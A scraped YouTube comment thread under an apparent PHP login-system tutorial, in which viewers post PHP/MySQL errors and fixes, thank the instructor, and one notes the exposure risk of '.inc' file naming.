      @sexychick9850 4 года назад

      Did you ever fix it?

    • @jacobmackay3543
      @jacobmackay3543 4 года назад

      I had set the user passwords max value to 50, in the database, but because of the hashing, it makes it longer than 50 so would throw this error. I changed the value length in the phpmyadmin and it worked

  • @charliesmith8309
    @charliesmith8309 4 года назад

    man thank you so much. I haven't touched any other coding language other than html, css or java and I was able to get a pretty basic understanding of php just from this video, and everything worked perfectly. this was a straight up lifesaver. keep it up !! :]

  • @joelnjoroge7202
    @joelnjoroge7202 3 года назад

    Finally after many trials I have done it!
    Thank you very much Krossing for this.
    ...I kept getting this sql error only to realize I had put the query before the connection. so the query wasn't getting executed as there was no connection to the database. Guys make sure you order things correctly on line 17 of login.inc.php (referring to Krossing's file).

  • @ckjones1
    @ckjones1 5 лет назад +7

    Fatal error: Uncaught Error: Call to undefined function mysqli_stmt_get_result() in C:\MAMP\htdocs\Proyecto\includes\login-inc.php:25 Stack trace: #0 {main} thrown in C:\MAMP\htdocs\Proyecto\includes\login-inc.php on line 25

    • @ArtGateVR
      @ArtGateVR 5 лет назад +4

      Anyone figure this out? I'm getting the same error.

    • @MaximumTino
      @MaximumTino 5 лет назад +3

      I'm having this issue too, please help

    • @MaximumTino
      @MaximumTino 5 лет назад +3

      My exact error comes up as
      Fatal error: Uncaught Error: Call to undefined function msqli_fetch_assoc() in C:\xampp\htdocs
      oot\HighFrequency.online\includes\login.inc.php:28 Stack trace: #0 {main} thrown in C:\xampp\htdocs
      oot\HighFrequency.online\includes\login.inc.php on line 28

    • @likemenotlikeyou
      @likemenotlikeyou 5 лет назад +1

      I'm getting the same error as well

    • @inventustries887
      @inventustries887 5 лет назад +3

      @@MaximumTino you forgot the y in msqli_fetch_assoc() it needs to be mysqli_fetch_assoc()

  • @Raveloy
    @Raveloy 6 лет назад +9

    i have a little problem and i dont know if it is just me
    whenever i try to login it always gives me the error "wrongpwd" no matter if it is the correct password
    can somebody help me?
    thank you

    • @Allizzify
      @Allizzify 6 лет назад +2

      i have the same problem... did you figure it out yet?

    • @Allizzify
      @Allizzify 6 лет назад +2

      i'm thinking it has something to do with the hashing of the pw

    • @calvinloh_ls
      @calvinloh_ls 6 лет назад

      I'm having the same problem too, anyone managed to solve it?
      EDIT: SOLVED! What I did previously was I inserted the user id and pwd straight into mySQL without creating any signup form as shown by mmtuts. Just follow what he do and signup an account, try again then you're done.

    • @ramseybeing
      @ramseybeing 6 лет назад +1

      me too

    • @ramseybeing
      @ramseybeing 6 лет назад

      It could be that i cannot access localhost/phpmyadmin i have to enter my ip 192.168.64.2/phpmyadmin in order to enter. Any one the same?

  • @devmashup3700
    @devmashup3700 4 года назад +4

    At 54:01, at his line 16 I have a 'unexpected semicolon' even thou he has one.

    • @unchartify
      @unchartify 4 года назад +2

      did you manage to fix this? having the same error

    • @samuellee83
      @samuellee83 3 года назад

      @@unchartify same : (

    • @gonefishing2006
      @gonefishing2006 3 года назад

      @@samuellee83 I didn't get in trouble until line 51 when I forgot to put one in.

  • @AbdellahRamadan
    @AbdellahRamadan 5 лет назад +2

    You are a hero!
    This is one of the most comprehensive tutorial on RUclips.
    Thanks a lot!

  • @a.yashwanth
    @a.yashwanth 4 года назад +1

    Use header>nav>(a>img)+ul>(li>a)*4 for 9:05 if you have emmet.

  • @dragoscrx404
    @dragoscrx404 5 лет назад +5

    My feedback:
    You write too much code and you never stop to test each step that you do.

  • @delowarhossain4523
    @delowarhossain4523 4 года назад +3

    "error=sqlerror"
    how to fix?

    • @luphoria
      @luphoria 4 года назад +1

      It could be many things, for me I had accidentally named my variable the wrong thing once.

    • @karlkarlson1606
      @karlkarlson1606 4 года назад +1

      same issue for me did you figure it out?

    • @karlkarlson1606
      @karlkarlson1606 4 года назад +1

      I just figured mine out it was a typo in my name of uidUsers

    • @delowarhossain4523
      @delowarhossain4523 4 года назад +1

      @@karlkarlson1606 yes.. I figured it out.

    • @delowarhossain4523
      @delowarhossain4523 4 года назад

      Can you please help me about php rest api crud??

  • @noobiebro7266
    @noobiebro7266 5 лет назад +4

    lord please make me rich... I want to support his patreon :(

    • @techcanyon411
      @techcanyon411 5 лет назад

      I think you might pray that lord should give you the ideas to be rich.

  • @cristidumitrescu557
    @cristidumitrescu557 4 года назад

    BIG LIKE. if someone gets stuck at the if statements in index.php, be patient until you create the logout file, because that helps unset the variables in the session and allows the if statements to work correctly.

  • @Sanddaisydiary
    @Sanddaisydiary 3 года назад

    I’m so grateful for your hard work. This is something people pay money for. I’m really fortunate to have come a cross this. Your explanation is so good.

  • @sutaschramm3195
    @sutaschramm3195 5 лет назад +2

    It feels good after all of that, when you save the page and it works with no errors. 😀

  • @loosabway3400
    @loosabway3400 4 года назад

    You're good company, can teach (you explain rather than demonstrate and pre-empt questions before they are asked) and have really excellent English.
    I'll do the Patreon thing for you, currently - bargain!

  • @calebngugi
    @calebngugi 2 года назад

    Superb video 👌, although I'd like to mention that naming a php with a .inc is a serious vulnerability. If the webserver is not told to run a .inc page as a php file i.e. for e.g. if someone deletes the .php at the end of the filename on the URL, then it'll run as text. And if you have sensitive info like name and password of your database...
    Thanks for the video, I've learned awesome new stuff 😀

  • @frankkaundamukhuni
    @frankkaundamukhuni 6 месяцев назад

    You are right professor Dan you can't just be giving all that information free.

  • @HakanGalip
    @HakanGalip 4 года назад

    Hello Daniel,
    i will say so many thanks to you for the great and understandable Tuts. I have learned so much from your courses and it is unbeliefable what PHP has options to create the world wide web with new ideas. Before i tryed to learn in german Tuts but they didn´t show me the important skills, only beginner guide from zero and ended in zero. English is not my favourite language, because that is German and so it is more unbeliefable that i learned more from your Courses that are in english, than from courses that was in my favourite language German. Thanks a lot....